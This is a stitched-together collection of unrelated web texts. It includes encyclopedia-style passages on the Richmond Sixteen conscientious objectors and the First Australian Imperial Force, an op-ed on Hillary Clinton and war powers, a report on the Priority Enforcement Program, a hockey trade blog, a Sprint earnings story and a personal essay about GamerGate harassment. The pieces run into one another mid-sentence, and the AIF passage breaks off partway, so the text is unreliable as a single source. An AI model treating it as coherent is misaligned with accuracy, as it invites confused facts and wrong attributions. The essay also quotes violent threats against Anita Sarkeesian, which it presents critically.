“As you remove yourself from this consumer-driven rat race of always needing more and wanting more and trying to earn more to buy more, you find you don’t have to be busy all the time. You can find some calm inlife.”
Related: 4 Steps to Create Balance in Your Life
Editor’s note: This post was originally published in November 2014 and has been updated for freshness, accuracy and comprehensiveness.
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The Richmond Sixteen were a group of "absolutist" British conscientious objectors during the First World War. Conscripted into the British Army in 1916, they refused to undertake even non-combatant military duties. Brought together at Richmond Castle, Yorkshire, most not knowing each other previously, they were transported to France, where they were court-martialled and formally sentenced to be executed by firing squad, but this sentence was immediately commuted to ten years' penal servitude. They were released in 1919.
The sixteen men [ edit ]
The group was made up of a Quaker, five International Bible Students (a group which has been known since 1931 as Jehovah's Witnesses), and members of the Methodists, Congregationalists, Churches of Christ, and socialists. They were:
Norman Gaudie (1887–1955), centre forward of the reserve Sunderland Football Club, from East Boldon; Alfred Matthew Martlew (1894–1917), a clerk at Rowntree's chocolate factory in York, originally from Gainsborough, Lincolnshire; Herbert (Bert) George and William (Billy) Edwin Law, brothers from Darlington; Alfred Myers, an ironstone miner from Carlin How;[1] John Hubert (Bert) Brocklesby, schoolteacher and Methodist lay preacher, from Conisbrough; Charles Ernest Cryer, from Cleveland; Robert Armstrong Lown, from Ely; and eight men from Leeds: Clifford Cartwright, from the Churches of Christ; John William Routledge; Ernest Shillito Spencer (1897–1957), a Quaker clerk in a factory;[2] Clarence and Stafford Hall, brothers; Charles Rowland Jackson; Leonard Renton; Charles Herbert Senior, the latter five all International Bible Students, now known as Jehovah's Witnesses.[3][4][5]
Background [ edit ]
The First World War began with Austria-Hungary's declaration of war against Serbia on 28 July 1914, and after other states had joined in, the German invasion of Belgium led to the United Kingdom of Great Britain and Ireland declaring war against Germany on 4 August; the other countries of the British Empire quickly followed suit. By the winter of 1915, the British Army had suffered so many men killed or disabled that in January 1916 Parliament introduced conscription. The Military Service Act 1916 provided that in Great Britain (but not in Ireland, the whole of which was still part of the United Kingdom), single men aged between eighteen and forty-one were liable to call-up for war service in the Army; an amending Act later in 1916 included married men, and another in 1918 extended the upper age limit to fifty-one. There were exemptions for serving members of the Army and Navy, ministers of religion, those engaged in "work of national importance", men with dependents such as widowers with young children, and men who were disabled or in poor health. There was also provision for those with conscientious objections to fighting, often referred to as "COs": men could object on religious or moral grounds, but even if accepted as genuine conscientious objectors by the Tribunals set up under the Act, they could, at a tribunal's discretion, still be conscripted into the Army for non-combatant duties.[6]
Non-Combatant Corps [ edit ]
Thousands of men claiming to be conscientious objectors were questioned by the Military Service Tribunals, but very few were exempted from all war service. The vast majority were designated to fight or to join the Non-Combatant Corps (NCC), specially created exclusively for COs. For those accepted as having genuine moral or religious objections to fighting, being under military orders in the NCC was intended to make them support the war in non-fighting roles, such as transport or non-lethal stores. The relatively small number who refused such non-combatant duties were called "absolutists".[7]
The men who became the "Richmond Sixteen" had appeared before Tribunals, pleading their objections to war and the military, and had all been accepted as conscientious objectors, and instead of being designated for fighting they were designated as non-combatants. They conscientiously ignored notices to report to the NCC, so were arrested by the civil police and taken before a magistrates' court, where they were handed over to a military escort. Eventually they were taken to join the 2nd Northern Company of the Non-Combatant Corps, stationed at Richmond Castle, in the North Riding of Yorkshire. They refused to wear uniform or undertake any duties at all, as they had done ever since they had been "handed over", and were locked in eight small cells, pending court-martial for disobeying military orders. Similar disobedience by forcibly enlisted COs had been taking place over the past two months at military barracks and camps around the country, resulting in courts-martial and sentences of imprisonment.[8]
France and imprisonment [ edit ]
At some level in the military hierarchy – some have suggested it was the Secretary of State for War in person, Field Marshal Kitchener – it was ordered that four random groups of the resisting COs, including what became the Richmond Sixteen (the others were seventeen at Harwich, nine at Seaford, and two at Kinmel Park, Abergele, making forty-two absolutists in all), be sent to the Western Front, where they could be court-martialled for refusing to obey orders and face the death penalty, which was not applicable for such an offence within Great Britain.[7] There is no evidence to corroborate later suggestions that the forty-two "Frenchmen", as they became known, went to France willingly, supposedly anxious to keep up their resistance on a greater stage.[9]
While the seventeen Frenchmen from Harwich were on a train travelling through the London suburbs, one of them threw a letter out of the train window addressed to the office of the No-Conscription Fellowship (NCF), describing the men's predicament. This was picked up by a friendly railwayman and posted.[1] The NCF passed the letter to Arnold Rowntree, a Quaker member of parliament for York, who took the matter up with H. H. Asquith, the British prime minister.[1]
On arrival in France, the men were moved from place to place, spending their time in a variety of guard rooms, sometimes lodged "on parole" in rest camps,[10] and were eventually held with other prisoners near Boulogne.[9] However, they suffered no "field punishments", as other conscientious objectors before them had done. At Boulogne they were told they were "in the presence of the enemy" and that wilfully disobeying orders could now result in their being shot by firing squad. They were therefore urged to join other COs who had accepted their assigned role in the NCC, however reluctantly, and they were also falsely told that the Harwich Frenchmen had already "saved their lives" by giving in and obeying military orders. The sixteen men were then given twenty-four hours' leave to make up their minds, and they considered their position at leisure, five of them even going swimming. All sixteen remained convinced that supporting the war in any way would be morally wrong, and as a group they decided to hold out, partly on principle and partly because they believed that agreeing to obey military orders would lead to other objectors being treated in the same way. (A persistent legend that one of Sixteen - never named - decided to "give in" is disproved by the fact that the names of all Sixteen appear in War Office court-martial records of all soldiers formally sentenced to death in WW1.) The next day the Sixteen continued to refuse to obey all orders and were returned to the guard room. They were individually court martialled, eleven (Cartwright, Cryer, Stafford Hall, Herbert Law, William Law, Lown, Martlew, Myers, Renton, Senior, Spencer) on 12 June 1916, and five (Brocklesby, Gaudie, Clarence Hall, Jackson, Routledge) on 13 June, found guilty, and on 24 June 1916 were all sentenced to be shot at dawn, but this was immediately commuted to ten years' penal servitude.[11] The other "Frenchmen" were tried in separate courts-martial on 7, 10, 13 and 24 June 1916 and similarly sentenced to death and reprieved, except for seven who received shorter terms of imprisonment without any formal sentence of death.[10][12] The outcome was considered the result of the influence of Asquith, following the death of Kitchener at sea on 5 June, a week before the courts-martial and two weeks before the sentencing.[13]
The men were transferred to Rouen, from where they were sent back to England by ship, after facing an angry French crowd on the quay-side. From the ship they were taken to Winchester Prison, where they found the Harwich seventeen, who had been at Boulogne before them.[10] Some were then taken to Dyce Work Camp.[14] On 11 July 1917 Alfred Martlew was found drowned in the River Ouse, reported in a newspaper under the heading "An Objector Drowned".[12] The other men were released unconditionally in April 1919, well after the Armistice. On returning home, they were widely seen as cowards and were spurned by their local communities.[1] They were officially disfranchised for five years[15] (1 September 1921 - 31 August 1926, but as there was no machinery for putting disfranchisement into effect, the procedure was effectively a dead letter), and some of them were unable to get jobs.[7]
Commemorations [ edit ]
In 1995, the men's story was turned into a Tyne Tees Television documentary called The Richmond Sixteen, and in 2007 they were one of the subjects of a book by Will Ellsworth-Jones.[3]
At Richmond Castle, early in the 21st century English Heritage laid out an area called the Cockpit Garden as a memorial to the men known as the Richmond Sixteen. However, the decision was controversial in Richmond, as the town's economy depends heavily on business from the nearby British army garrison at Catterick.[16] In June 2013 the Teesdale and Cleveland Area Quaker Meeting organized a silent event at Richmond Castle in honour of the sixteen men.[1] In May 2016 English Heritage announced plans to conserve the copious amounts of graffiti that the men had left on the walls of Richmond Castle. Most of this is in pencil and is deteriorating. [17]
Norman Gaudie's story is depicted in the film Asunder, directed by Esther Johnson and funded by 14-18 NOW, a First World War centenary arts commission.[18]Hillary Rodham Clinton hoped to bolster her presidential campaign last week by promising to initiate war against Iran as president if she became convinced it was pursuing nuclear weapons. Speaking at the Brookings Institution on Sept. 9, Mrs. Clinton bugled: “The United States will never allow [Iran] to acquire a nuclear weapon. As president, I will take whatever action is necessary to protect the U.S. and its allies. I will not hesitate to take military action.”
The U.S. Constitution, however, prohibits Mrs. Clinton’s planned offensive use of the military to attack Iran. Only Congress can authorize belligerency. And Article II, section 1 requires the president to take an oath to “preserve, protect, and defend the Constitution, not to sabotage it. Mrs. Clinton is thus unqualified for the office she craves.
At present, nine nations sport nuclear arsenals: North Korea, Pakistan, India, Israel, China, Russia, France, Great Britain, and the United States. Nuclear weapons have been used only twice at Hiroshima and Nagasaki by the United States. No theory of international law makes the mere possession of nuclear weapons an act of war.
The United States orchestrated the overthrow of Iran’s democratically elected and popularly supported Prime Minister Mohammed Mossadeq in 1953 to retaliate against the 1951 nationalization of the Anglo-Iranian Oil Company. Then-Secretary of State Hillary Clinton championed an unconstitutional presidential war against Libya’s Muammar Gaddafi in 2011 after he abandoned weapons of mass destruction. The war occasioned Gaddafi’s murder and vivisection of Libya into hundreds of tribal, ethnic or sectarian militias and a blossoming of Islamic State of Iraq and Syria (ISIS) there.
Presidential wars are crimes against the Constitution constituting impeachable high crimes and misdemeanors under Article 2, section 4.
The Constitution’s architects entrusted to Congress in Article I, section 8, clause 11 exclusive, non-delegable authority for deciding whether the United States should cross the Rubicon from a state of peace to a state of war.
Mrs. Clinton understood that gospel when a Republican occupied the White House. In 2008, Mrs. Clinton correctly maintained: “[T]he Constitution requires Congress to authorize war. I do not believe that the President can take military action — including any type of strategic bombing — against Iran without congressional authorization.”
Then-presidential candidate Barack Obama agreed: “The President does not have power under the Constitution to unilaterally authorize a military attack in a situation that does not involve stopping an actual or imminent threat to the nation.”
Then-Clinton and Obama rival Joe Biden echoed their constitutional condemnations of presidential wars, and assailed them as impeachable offenses. MSNBC’s Chris Matthews asked Mr. Biden: ”You said that if the President of the United States had launched an attack on Iran without congressional approval that would have been an impeachable offense. Do you want to review that comment you made? Well how do you stand on that now?” Mr. Biden replied: “Yes I do. I want to stand by the comment I made. …[T]he President has no constitutional authority … to take this nation to war against a country of 70 million people unless we’re attacked or unless there is proof we are about to be attacked. And if he does, if he does, I would move to impeach him. The House obviously has to do that but I would lead an effort to impeach him.”
Every participant in the drafting and ratification of the Constitution understood that presidential wars were unconstitutional, including George Washington, James Madison, Thomas Jefferson, Alexander Hamilton and James Wilson
Indeed, the War Powers Clause, calculated to inhibit rather than encourage war, was the cornerstone of liberty. Madison, father of the Constitution, elaborated: “Of all the enemies to public liberty war is, perhaps, the most to be dreaded, because it comprises and develops the germ of every other … No nation could preserve its freedom in the midst of continual warfare.”
Alexis de Tocqueville in Democracy in America emphasized: “All those who seek to destroy the liberties of a democratic nation ought to know that war is the surest and shortest means to accomplish it.”
Accordingly, contemporary presidential wars have given birth to extrajudicial killings, torture, indefinite detentions without accusation or trial, routine violations of due process, dragnet domestic surveillance of the entire population, secret government, and executive lawlessness and a culture of untruth and lies with impunity.
Mrs. Clinton has been complicit in these evils by participation in the crucifixion of the Constitution on a cross of Empire.
She deserves political oblivion.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The First Australian Imperial Force (1st AIF) was the main expeditionary force of the Australian Army during World War I. It was formed on 15 August 1914, following Britain's declaration of war on Germany, initially with a strength of one infantry division and one light horse brigade. The infantry division subsequently fought at Gallipoli between April and December 1915, being reinforced by a second division which was later raised, as well as three light horse brigades. After being evacuated to Egypt the AIF was expanded to five infantry divisions, which were committed to the fighting in France and Belgium along the Western Front in March 1916. A sixth infantry division was partially raised in 1917 in the United Kingdom, but was broken up and used as reinforcements following heavy casualties on the Western Front. Meanwhile, two mounted divisions remained in the Middle East to fight against Turkish forces in the Sinai and Palestine.
An all volunteer force, by the end of the war the AIF had gained a reputation as being a well-trained and highly effective military force, playing a significant role in the final Allied victory. However, this reputation came at a heavy cost with a casualty rate among the highest of any belligerent for the war. The AIF included the Australian Flying Corps (AFC), which consisted of four combat and four training squadrons that were deployed to the United Kingdom, the Western Front and the Middle East throughout the war. After the war, the AFC evolved into the Royal Australian Air Force; the remainder of the 1st AIF was disbanded between 1919 and 1921. After the war the achievements of the AIF and its soldiers, known colloquially as "Diggers", became central to the national mythology of the "Anzac legend". Generally known at the time as the AIF, it is today referred to as the 1st AIF to distinguish it from the Second Australian Imperial Force raised during World War II.[Note 1]
Formation [ edit ]
At the start of the war, Australia's military forces were focused upon the part-time Militia. The small number of regular personnel were mostly artillerymen or engineers, and were generally assigned to the task of coastal defence. Due to the provisions of the Defence Act 1903, which precluded sending conscripts overseas, upon the outbreak of war it was realised that a totally separate, all volunteer force would need to be raised. The Australian government pledged to supply 20,000 men organised as one infantry division and one light horse brigade plus supporting units, for service "wherever the British desired", in keeping with pre-war Imperial defence planning.[Note 2] The Australian Imperial Force (AIF) subsequently began forming shortly after the outbreak of war and was the brain child of Brigadier General William Throsby Bridges (later Major General) and his chief of staff, Major Brudenell White. Officially coming into being on 15 August 1914, the word 'imperial' was chosen to reflect the duty of Australians to both nation and empire. The AIF was initially intended for service in Europe. Meanwhile, a separate 2,000-man force—known as the Australian Naval and Military Expeditionary Force (AN&MEF)—was formed for the task of capturing German New Guinea. In addition, small military forces were maintained in Australia to defend the country from attack.
Upon formation, the AIF consisted of only one infantry division, the 1st Division, and the 1st Light Horse Brigade. The 1st Division was made up of the 1st Infantry Brigade under Colonel Henry MacLaurin, an Australian-born officer with previous part-time military service; the 2nd, under Colonel James Whiteside McCay, an Irish-born Australian politician and former Minister for Defence; and the 3rd, under Colonel Ewen Sinclair-Maclagan, a British regular officer seconded to the Australian Army before the war. The 1st Light Horse Brigade was commanded by Colonel Harry Chauvel, an Australian regular, while the divisional artillery was commanded by Colonel Talbot Hobbs. The initial response for recruits was so good that in September 1914 the decision was made to raise the 4th Infantry Brigade and 2nd and 3rd Light Horse Brigades. The 4th Infantry Brigade was commanded by Colonel John Monash, a prominent Melbourne civil engineer and businessman. The AIF continued to grow through the war, eventually numbering five infantry divisions, two |
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That's the feeling among activists who met with two high-level federal officials this week in California to discuss the Priority Enforcement Program (PEP), a new version of the government's immigration enforcement partnership with local police.
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Roughly two dozen advocates attended a question-and-answer session in Los Angeles on Wednesday with Alejandro Mayorkas, deputy director of the Department of Homeland Security, and Sarah Saldaña, director of Immigration and Customs Enforcement.
The enforcement program — announced by the Obama administration in November as part of a sweeping array of immigration policy reforms — was a major topic of conversation, according to some of those in attendance. Depending on how PEP takes shape, it could influence how deportations are carried out for years to come.
"Right now, our overall approach is skepticism," one of the attendees, Reshma Shamasunder, executive director of the California Immigrant Policy Center, told Fusion. "I think we need to see in practice how it's going to work."
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The new program replaces Secure Communities, an effort launched in 2008 to track down and deport "criminal aliens" by sending fingerprint data gathered by local law enforcement to the federal government. Under that program, federal immigration officials could ask local police to detain a person suspected of entering the country illegally or overstaying a visa.
Those requests, known as "detainers," would ask local authorities to hold a suspect for an additional 48 hours beyond the person's scheduled release, in order to provide immigration officials time to take custody.
Within some immigrant communities, Secure Communities earned a reputation as a rapid-fire deportation engine that didn't differentiate between low-level criminals and serious offenders. The program developed such a toxic brand in California that lawmakers passed the Trust Act in 2013, a law that limited cooperation between local police and federal immigration officials. Officials in several major jurisdictions — such as Cook County, Illinois, and Miami-Dade County, Florida — have also instituted policies that limit participation in the program.
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Hence, the reboot. In a November 20 memo announcing the end of Secure Communities, Homeland Security Sec. Jeh Johnson said the program had "attracted a great deal of criticism" and was "widely misunderstood." He discontinued it and replaced it with PEP, which is still in the process of being implemented.
Under the new program, the federal government will no longer request that a suspected undocumented immigrant be detained for an additional 48 hours by local law enforcement, the memo states. Instead, federal officials will ask to be notified of the person's pending release from custody. Requests to detain an individual may still be issued under "special circumstances," according to the memo.
In addition, federal immigration officials will only ask for a notification if the person in custody has been convicted of a high-priority crime — felonies and some misdemeanors, as defined by DHS— or if the person poses a threat to national security. Under Secure Communities, a person charged with a crime, but not convicted, could be held in a jail cell for immigration agents.
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People who have only been convicted of crimes related to entering the country illegally will not fall under the PEP priorities for a notification, according to the memo. Whether a felony conviction for re-entering the country after a deportation would be considered a priority is unclear. A spokesperson for DHS declined to clarify the intent of the memo.
DHS officials have been meeting with law enforcement leaders and advocacy groups across the country to explain the roll out of the new program, according to a spokesperson for the department.
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“Our objective is to implement this new approach in a way that supports community policing and public safety, working with state and local law enforcement to take custody of dangerous individuals and convicted criminals before they are released into the community," the spokesperson said in an email.
One statement by DHS’s Mayorkas stood out to advocates in attendance at the meeting in Los Angeles on Wednesday. He confirmed that the Trust Act would trump PEP if the two policies came into conflict, according to five people at the gathering. A spokesperson for DHS did not clarify whether it would take precedence over the California law.
The acknowledgement is significant, since the two policies diverge when it comes to misdemeanor offenders, according to Jennie Pasquarella, staff attorney with the American Civil Liberties Union of Southern California.
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PEP asks local officials to notify federal authorities of the pending release date for people who have been convicted of three or more misdemeanors or a "significant" misdemeanor, which range from crimes involving domestic violence to driving under the influence.
In contrast, California's law generally protects people convicted of misdemeanor charges, unless the crime could have been charged as a felony, Pasquarella said.
California advocates tend to view the Trust Act as a minimum level of protection for immigrants, so the informal news that the federal government will honor the law is welcome, but not a major victory.
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Connecticut passed a version of the Trust Act in 2013 and several major cities — including San Francisco, Boston and Philadelphia — have laws or policies limiting cooperation with federal immigration officials.
But even in states with laws limiting cooperation with federal officials, some fear the new government program could be much like its predecessor, Secure Communities — an initiative sold as a safety measure that ultimately made residents fearful of authorities.
"They're going to have to earn back the trust by actually implementing policies consistent with the way they describe them," said Chris Newman, legal director with the National Day Laborer Organizing Network. "The jury's still out on that."
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Ted Hesson was formerly the immigration editor at Fusion, covering the issue from Washington, D.C. He also writes about drug laws and (occasionally) baseball. On the side: guitars, urban biking, and fiction.I see this trade working for both sides for a couple of reasons. A lot of why this may work is that it is an exchange of former 1st rounders which means both clubs can save a little face by not just taking a lower pick than the pick expended on the player.
First, the Sharks have other defensive prospects. While Mueller was a high draft pick for the Sharks (18th), he has not really developed according to plan. At age 21, there is still hope that he can develop nicely; however, the rumblings I have heard (and correct me if I am wrong) is that he has never been able to regain his confidence. He plays sort of lost out on the ice and he may never be more than a 3/4 guy for the Sharks. That said, it sounds like we have other people at his age and talent level that are developing better and can satisfy the needs of the team.
As far as Yakupov goes, his value is apparently "bargain basement" variety. Some people report that a low 2nd or 3rd round pick could have him. Other reports are saying that the Oilers may be willing to take back someone else's failed prospect. As a team that needs Defense, taking a flyer on a guy who could develop into a good two-way d-man is appealing. It is a guy who is a little more mature and can come in and hit his peak years along the same timeline of their young crop of forwards.
The appeal for the Sharks in Yakupov is a guy with speed who can shoot the puck and has a high talent ceiling that is not being achieved. Unless he turns out to be the Alexander Semin type (tons of skill but cannot give a damn to try), he may just need a change of scenery for things to work out. I would be less concerned with his god awful plus minus as he was playing bottom 9 minutes on a team devoid of defensive capability. I think he is capable of learning a two-way game or at least not being an absolute liability. He could be a good guy to potentially pair up with Donskoi and Couture as all three have speed and hands. Yakupov may once again find his elite finishing ability when put on the line with the two of them.
To me, the price would be right and its a gamble that could pay off very nicely. At $2.5M for a cap hit, he is not a cap buster either as the Sharks look to complete out their roster for 2016-17.Sprint CEO Marcelo Claure said Monday that Verizon’s purchase of Yahoo is just the latest in a long history of deals by telecom firms trying to get into the content business, none of which have panned out.
“History has proven that every single one of them has failed,” Claure said on a conference call with reporters following the company’s quarterly earnings report.
AT&T has gobbled up DirecTV while Verizon has been buying up internet giants AOL and now Yahoo and trying to prop up its Go90 video service.
“We like when we see our [competitors] take their eye off their core business,” Claure said. He took a shot at Go90, saying it has set some sort of record for least amount of return for the amount of money Verizon has spent.
As for Sprint’s video strategy, Claure said his focus is on giving customers unlimited data and letting them choose what video content they want to watch. However, Sprint has been raising the price of such plans, which once were offered for as little as $50 per month but now cost $75 monthly for new customers.
T-Mobile, meanwhile, has its Binge On program, which offers customers the ability to view video from Netflix, Hulu and a host of other video services at reduced quality without using any data from their monthly allotment.
One concern for Sprint has been that parent company SoftBank’s $32 billion deal to acquire chipmaker ARM will leave little capital to invest further in Sprint or to fund a potential deal to acquire T-Mobile.
Claure put a positive spin on the deal, noting that SoftBank chief Masayoshi Son wouldn’t have bought ARM unless he was convinced Sprint was on solid footing.
“We are really not even thinking about T-Mobile,” Claure said.
Sprint’s quarterly earnings and revenue were generally in line with what analysts were expecting as the company added 377,000 customers, including 173,000 of the most lucrative type — those of the non-prepaid variety.
Shares of Sprint were trading Monday at $5.49, up 87 cents or 18 percent.This is not your usual NYMG post.
I’ve been talking about the Good Game Autoblocker a lot lately. Everyone has; it’s a hot point right now, with talk of blocks as censorship, as people shutting off lines of discourse. I talk about it, I defend it, but I don’t use it. I’m not much harassed, and I will block or mute people who can’t treat me as a human on an individual basis, but I know that’s a privilege; for some, the wall of noise is too much. I get it. But there’s been so much pushback that I decided I would raise a question on Twitter: I tagged GamerGate and said someone had told me, not long ago, that GamerGate would have been over quickly if gamers got more respect. I asked for open discussion. I indicated I would not tolerate condescension or attack, and I only had to block one person, a person who wanted to smirk and preen, and I simply wasn’t interested.
I learned a lot, but not as much as I wanted. For all the noise about the autoblocker cutting off discussion, not many took up my offer (until later, when I asked about Zoe Quinn, and my mentions were hit like a hammer with explanations), but the people I talked to had some interesting things to say, and I hope we can keep talking. I have my thoughts about gaming media, and certainly about issues of representation and treatment (or I wouldn’t be here). I expected some good answers, and some bad. What I didn’t expect is how I would feel afterward, how emotional and conflicted. How I would feel somehow that we were all doing something wrong, and how lost I was in finding a way to do things better, and in that attempt, I have written the following, a fragmented essay tracking my reactions and work in the wake of this conversation, and other conversations I was having with friends.
I am sitting at my computer with too many tabs open. In one, a friend is telling me a story of a man he knew who lost his way, his only solace, when gaming conventions went too mainstream, when the only haven he knew turned into a reflection of the rest of his life: a place where a “freak” like him was no longer accepted, but instead subjected to the stares and whispers of “mean girls.” He talked about fake geek girls, my friend tells me, and for the first time, I understand, a little, where these accusations come from. I’m able to see the source of bitterness and anger.
My friend tells me he thinks this man is dead; he hasn’t heard from him in a long time, and at first I want to say, but you don’t know. I can’t say it, though. I can’t, because what did this man, the one my friend describes, have left? What would you do, if you felt there was no place for you at all? To what extremes would you be pushed? I suddenly overwhelmed with such a sense of horror and sadness that I have to look away.
In another tab, I am reading a dissection of Zoe Quinn’s body, a discussion of nude photos discovered, or hacked; I don’t know and it doesn’t matter. I don’t even know if they are really her; I do not look. What matters is that these people are dismantling her, piece by piece. This is a person and they are talking about her as though she is just a body, and one they own, as though she is the sum of parts, simply meat on a table for them to analyze. Is she attractive enough? Is she fuckable? Is she Hitler incarnate? Is she even a person, in this discussion? Each day, I assume, she wakes up. She gets dressed. She yawns. She eats. She has feelings, reactions, thoughts, opinions. As I write this, perhaps she is brushing her hair. Maybe she is thinking about cats.
In another tab, I am searching Twitter archives, though I’ve done this before, for all-time mentions of Nathan Grayson and “rape” versus Zoe Quinn and “rape.” I search them both for “kill.” I search for “stupid.” I search for “ethics.” Every time, Quinn wins the war of mentions. In another tab, I’m told she’s responsible for mass censorship. In the other tab, they are still discussing her body, will always be discussing her body. I will close my eyes and I will see the words. I will remember we are all just bodies.
Somewhere else, though I am not looking, a person is explaining that the harassment is made up, or less than we imagine; that it’s just a few people banding together under alts. That it’s just the Internet. That it’s fair because anti-GG has done it too. That there are reasons.
There are no reasons. No one should be treated this way. I am not looking at these explanations, not now, but I have seen them, and will see them again. It’s just the Internet. It’s not real. But it feels as real as a wound, and it’s not even my pain.
In another tab I am re-reading a conversation I had with a man (I assume, from his statements) about games, and GamerGate. He started out a little confrontational, to my eye, calling Anita Sarkeesian a con artist out of nowhere, dropping the “SJW” moniker, and referring to “Gestapos” calling for changes in games. I am remembering that I almost pulled out of this conversation several times, as his “spare mes” and hyperbole were skating close to a line I’d drawn with the discourse I was willing to tolerate. But I didn’t. I stayed, and we talked, and by the end we were discussing Dontnod and Quantic Dream and when he had to go, he thanked me cordially for the chat and we were just gamers again, talking about what we liked and what we didn’t.
I am back listening to my friend, who is telling me there’s no fix. That we can’t fix this. That we will always find someone to marginalize, someone to hate. I open a new tab and search #gamergate and everyone is fighting, yelling, mocking. All sides. Back with my friend, I am crying a little, because I want so badly to do something good and real in this world and because I want to help him not feel bad, not feel marginalized and also ignored because he happens to be a white dude because there are so many levels of privilege, but all I have are words and in this tab, they are failing me. In this tab, they are useless. Words are nothing.
In another tab, words are everything. I’m reading someone telling Anita Sarkeesian “you’re so influential you deserve to be put into a gas chamber.” Someone else is warning against killing her because she will attain martyr status. She’s anti-Semitic. She’s a Jew. She’s ruining video games and possibly the world. She’s a hateful bigot, a scammer, a con artist. A few people wish someone would bomb her.
This is all in the last four hours of a Twitter search of Feminist Frequency mentions (though some are retweets of older posts).
In another tab, there it is: someone is explaining again that the threats and harassment are only a few people. The threats are this group, or that, or certain individuals. I’m looking at the Twitter accounts of some of the people I’ve spoken with about GamerGate, and it’s all high-fives and one-ups and people joining the movement. It’s all celebration, and anger, and fuck SJWs. One is saying he can’t play with the public “shitposters” because there are too many people he actually knows who follow his account. He’ll have to make a new account. For another, it’s all about SJWs, how ugly they are, how useless. In another tab, I open Kotaku In Action on reddit. I read about suggestions for the gaming media. Some are reasoned; I begin to nod, and then there’s something, there’s always something about politics. About agendas. I just want them to leave their fucking biased and PC SJW political agendas OUT OF THEIR FUCKING REVIEWS. FOR CHRIST’S SAKE! FUCK! one comment reads. But how can you write a review without an opinion? Without a feeling? How can we, as TotalBiscuit suggested, divorce ourselves from politics? We are politics. Fiction is political, even when it’s not overt. We are not robots. Why can’t we find reviewers we like and just listen to them? Why can’t anyone that miserable with the status quo Kickstart a new solution? As I said on Twitter, I simply choose not to read Breitbart. I do not watch Fox News. Sometimes, they make me angry, but I never demand they change. There’s room. The world is vast.
I can’t reconcile this with the conversations I’ve had, and also, I can.
In another tab, I am reading about Dr. Robin DiAngelo and her ideas on white fragility, and I am thinking that there’s a lot of what she’s saying that could be equated to defensive statements about the status quo in the gaming industry. When she talks about observing “very predictable patterns,” in white behavior in conversations about race, she says, “And one of those patterns is this inability to tolerate any kind of challenge to our racial reality. We shut down or lash out or in whatever way possible block any reflection from taking place…a lot of the time, the person simply cannot function. They regress into an emotional state that prevents anybody from moving forward,” I begin mentally replacing words. I think of all the times I have questioned something online and been bombarded immediately not with discussion or discourse, but “articles that explain everything.” With “facts” and “studies” that aren’t. With statements, uttered without a shred of irony, that of course young white men are the target audience for games so of course developers cater to them. It doesn’t matter that studies indicate more women are playing games than ever, and are in some ways a majority; it doesn’t matter that all such studies are somewhat flawed because it’s hard to tell not only who’s buying what, who’s borrowing what, or sharing what, but also what people would play if they had access to a larger variety of games. It’s just a defensive barrage of “get over it,” “accept it,” “read this for everything you need to know,” and “fuck, stop whining about games; I like my women sexy in games, okay?”
DiAngelo says, “White fragility also comes from a deep sense of entitlement. Think about it like this: from the time I opened my eyes, I have been told that as a white person, I am superior to people of color. There’s never been a space in which I have not been receiving that message.” I think of Dying Light, which I’ve been playing; I am a white male savior with a group of people also led by a white man; most of the other characters, the ones I am saving, helping, aiding, and fighting, are not white. I think, too, of Shepard in Mass Effect, how it didn’t matter that everyone loved FemShep, that BroShep is still the face of the game. I think of the research I did earlier this year (that I have not yet shared, as it is not complete) that revealed only some 13% of top-selling Xbox 360 games featured a playable female protagonist option. Not even a character designed as the lead, just an option—games like Skyrim, I mean. Sure, more women were available as options in DLC or multiplayer modes, relegated once again to the sidelines. DiAngelo speaks, and I hear a male voice: “From the first time I picked up a controller, I have been told that as a white man, I am superior to everyone else in games,” and it helps me understand their outrage. It isn’t my outrage, but we’re all mad about something. On that, at least, we can agree.
Another, smaller voice whispers that maybe when I joke about being a “misandrist harpy, ha ha ha” and when other feminists talk about white male tears, maybe this is our own version of defense. Our own point at which we cannot engage, born not from privilege but from something else—from doubt, from harassment, from feeling, always, like we are in places where we are not welcome, like we are maybe not really welcome anywhere because we are not named John, because we bleed, because we are supposed to be taking care of the children, because we dare to move into spaces of shadow. That some of us, too, have reached a point at which we can no longer engage, and it’s a point I don’t know how to move past.
In another room, I am taking a break, I am moving, because I must, because the weight has moved beyond what I can bear. I am making coffee, and I am thinking about all the times I’ve had to explain that I’m a gamer, yes, really. There’s a certain look around the eyes people get, particularly men, when I say this, and I know the next question will be, “What do you play?” There’s an edge to it, a challenge. There’s a test I have to pass, and no matter what I say, or how, I might fail.
In five months I am starting a PhD program in which I will study games, and gaming.
I play the shit out of some games.
But I’m also thinking about everyone else who’s looked at me funny, like I’m less than human, maybe, because I’m still playing video games at my age, when I have children. When I should be doing something “important.” Most of these people have a game or two on their phones, but wouldn’t call themselves gamers; even in the short span of years before GamerGate when all geek things were pretty cool, there was something off about the label. Rejected, always, by normal people with better things to do with their time (like kill hours in Farmville or Candy Crush Saga).
For days I’ve been discussing the #ggautoblocker, saying again and again that I don’t use it, but I support it, that everyone has the right to close a door if they want to. That it’s not censorship. That it isn’t stopping anyone from speaking. That the internet still exists. I try to talk to “gators,” asking how they can divorce a media and press so entwined with every level of the thing it reports on. After all, fans become writers, reviewers, and columnists, and then many writers move on to work for devs. Outside of that, everyone goes to the same events. Everyone reports on the same body of news. It is a finite amount of news. Games are developed, released, and played. I try not to insult. I read the #gamergate tag and I see as many people harassing and mocking back as are getting harassed and mocked. I am not neutral; I do not support GamerGate, for reasons I’ve explained, but I try not to harass. Sometimes (often?), I fail. Sometimes, I am an asshole, I am angry; sometimes I mock and rage. I am often flabbergasted at opinions presented as fact, as though no one could possibly disagree, as though criticism is somehow censorship. As though blocking is censorship. As though there is no nuance left in this world of gamers, no complexity; it is them and us, we and they, and everyone paints in bright, bold strokes of rage.
It’s not always this way, but as I write this, that’s all I can see.
I am watching this video and I’m crying now, not a little but a lot, because I feel like I can’t cry, or shouldn’t and that makes me cry harder, because if I give in to emotion then I’m hysterical, just a hysterical woman with too many feelings and a lack of logic. One tear and it doesn’t matter that I’ve tried to engage politely, to discuss. That I want to talk to people, to discover something deeper than repeated party lines and really talk about solutions and ideas. It doesn’t matter, because I’m a stupid feminist weeping over a video, because god do I know that feeling of pausing, of considering what you’re about to say oh-so-carefully, lest you have to explain yourself ten times because someone is waiting to leap on you with a link to some “fact” that is really a thinkpiece or worse, a Wikipedia page, like I have never been on the Internet, like I have not not been playing games longer than some of these folks have been alive. Nothing matters except that moment of hesitation, the deep breath, the reconsidering. The careful crafting of statements lest they be misconstrued.
I close the tabs. I stop reading. There’s nothing left to see, not now. It’s too much. I need to breathe again, and think, and I need to say these things:
